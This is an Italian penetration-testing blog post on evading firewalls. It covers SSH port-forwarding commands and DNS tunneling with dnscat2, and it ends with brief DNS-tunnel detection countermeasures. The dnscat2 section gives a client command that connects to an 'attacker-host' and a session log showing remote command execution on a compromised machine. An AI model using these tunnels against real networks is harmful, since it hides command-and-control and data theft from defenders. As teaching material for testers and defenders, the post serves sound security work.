In seguito al primo articolo relativo alle tecniche evasive mi avete scritto in tanti dandomi feedback e generando discussioni utili, ecco pertanto un “secondo capitolo”.

Premessa

Mi è stato fatto notare come il termine attaccante venga utilizzato nello sport mentre la traduzione corretta di “attacker” sia aggressore, ho quindi “patchato” il seguente articolo sistemando la terminologia.

Un piccolo approfondimento per quanto riguarda la mia frase: “Il Social Engineering incontra una forte resistenza da parte delle singole aziende e dei sindacati, non è infatti possibile tracciare e identificare in maniera univoca il singolo dipendente caduto vittima dell’attacco”.

Sono consapevole che Social Engineering e Red Team siano operazioni effettuate specialmente all’estero mentre, per quanto ho potuto vedere fino ad ora, stentano a venir autorizzate in Italia.

Per quanto riguarda l’impossibilità dell’azienda a tracciare e identificare il singolo dipendente, che dovrebbe essere una garanzia per il dipendente stesso (oltre che di privacy in generale), è ciò che viene visto come una limitazione dell’efficacia del test da parte di alcune aziende.

Tracciare il dipendente che sbaglia, però, è l’approccio più ERRATO che si possa seguire poiché viene a crearsi una mancanza di fiducia e di confidenzialità nel rapporto azienda-dipendente, l’azienda non si fiderà più a causa dell’errore e il dipendente si sentirà “testato” e messo alla prova. Ecco perché nei report di Social Engineering si tende a non indicare il dipendente che ha commesso l’errore. Formare il proprio personale è l’unica strada percorribile per fare prevenzione e generare consapevolezza, anche post-breach; gli aggressori non sono come I fulmini, possono tranquillamente colpire due volte nello stesso punto.

Parlando di tunnel ICMP o di header TCP bisogna ricordare che queste tecniche, utilizzate per la comunicazione (e non nel caso di un unico payload dalle dimensioni limitate) generano quantitativi di traffico anomali, pertanto non è possibile prendere la tecnica precedente ed applicarla in ogni ambiente, una risposta universale in grado di bypassare i firewall non esiste. Siamo scienziati, quindi l’analisi del sistema target è fondamentale per capire se e quali tecniche possono essere utilizzate.

Infine ricordo che per quanto riguarda l’accesso ai pacchetti SYN e “raw”, richiesti dalle tecniche precedenti, l’accesso è consentito solo agli account root/SYSTEM e pertanto, le tecniche sono valide solo dopo una privilege escalation del sistema target.

Finite le premesse e i chiarimenti veniamo agli argomenti di oggi:

SSH Tunneling & DNS Tunneling

SSH Tunneling:

In ambienti enterprise, gli admin hanno bisogno di strumenti per il controllo dei sistemi remoti, in particolare di SSH. Poiché le regole dei firewall generalmente non sono impostate per consentire il traffico SSH solo da un host/dominio della rete, l’SSH Tunneling può quindi diventare un interessante metodo per bypassare i firewall.

Per esempio:

ssh -f user@host-remoto -L 1337:host-remoto:80 –N

Ove -f manda SSH in background prima di eseguire il resto del comando.

-L 1337:host-remoto:80 essenzialmente porta-locale:host-remoto:porta-remota

Il traffico sulla porta locale (1337) viene inoltrato all’host remoto sulla porta (80) beneficiando della connessione cifrata.

-N che istruisce OpenSSH a non eseguire comandi sul sistema remoto.

Dopodiché sarà sufficiente indirizzare il payload o il software in questione su localhost:1337.

Similmente per bypassare restrizioni firewall per traffico specifico:
ssh -f -L 3000:talk.google.com:5222 host-remoto –N
In questo modo inoltreremo tutto il traffico di Google Talk verso l’host-remoto.

Qui potete trovare ulteriori informazioni: SSH-tunnelling-explained

DNS Tunneling:

Premetto che per utilizzare questa tecnica appieno avrete bisogno di un server DNS remoto.

Nei tunnel DNS I dati vengono incapsulati assieme alle query e alle risposte, usando encoding in base32 e base64.

L’approccio in questione prevede una macchina compromessa dall’aggressore (client) e un host accessibile da internet (server) che esegua il software dnscat2, anch’esso sotto il controllo dell’aggressore.

Sull’host remoto (server) sarà sufficiente lanciare il comando

ruby ./dnscat2.rb

Una volta attivo, il software rimarrà in ascolto sulla porta UDP 53, presentando la shell remota dei client connessi.

Sulla macchina target basterà eseguire il client:

dnscat.exe –host attacker-host

# ruby ./dnscat2.rb
Starting Dnscat2 DNS server on 0.0.0.0:53 [domains = n/a]...
No domains were selected, which means this server will only respond to direct queries (using --host and --port on the client)
dnscat2> New session established: 16059
dnscat2> session -i 16059
Welcome to a command session!
Use 'help' for a list of commands or ^z for the main menu
dnscat [command: 16059]> exec calc.exe

Dnscat supporta inoltre i comandi download e upload per interagire con i file presenti sulla macchina compromessa.
Il traffico generato da dnscat appare come richieste/risposte DNS “standard” e può essere facilmente confuso all’interno del “rumore” presente nella maggior parte delle reti.

Anche se la configurazione del proprio ambiente permette solo di utilizzare trusted server per la risoluzione DNS e il resto del traffico DNS in uscita è bloccato, l’aggressore può ancora utilizzare il tunnel: può registrare un dominio e designare il sistema remoto (ove presente dnscat server) come authoritative DNS per quel dominio (OpenDNS). In questo modo non sarà più necessario collegarsi direttamente al server. Il client (macchina compromessa) richiederà la risoluzione del dominio al server DNS dell’infrastruttura vittima che inoltrerà il messaggio al server dnscat (solo se permessa la risoluzione delle query DNS per cui il trusted server non può rispondere direttamente).

Pentester’s trick box: Dnscat è utilizzabile anche attraverso Windows PowerShell

Contromisure – Come individuare i tunnel DNS?

• Monitorare la dimensione delle risposte DNS, dal momento in cui incapsulano traffico, avranno una dimensione maggiore di 64 caratteri.
• Limitare il numero di server DNS che i sistemi in rete sono autorizzati a raggiungere e ridirigere tutto il traffico DNS verso un server DNS sotto il proprio controllo.
• DNSTrap & Next Generation firewall

Altre info su questo metodo: Dnscat2 & dnsteal iodine dns tunnelling made easy – splitbrain dnstunnel.de Your-freedom

Altri Tool: OzymanDNS, Dns2tcp, Heyoka, NSTX, DNScapy, VPN over DNS

Per concludere, fly under the radar, stay undetected.

di VoidSec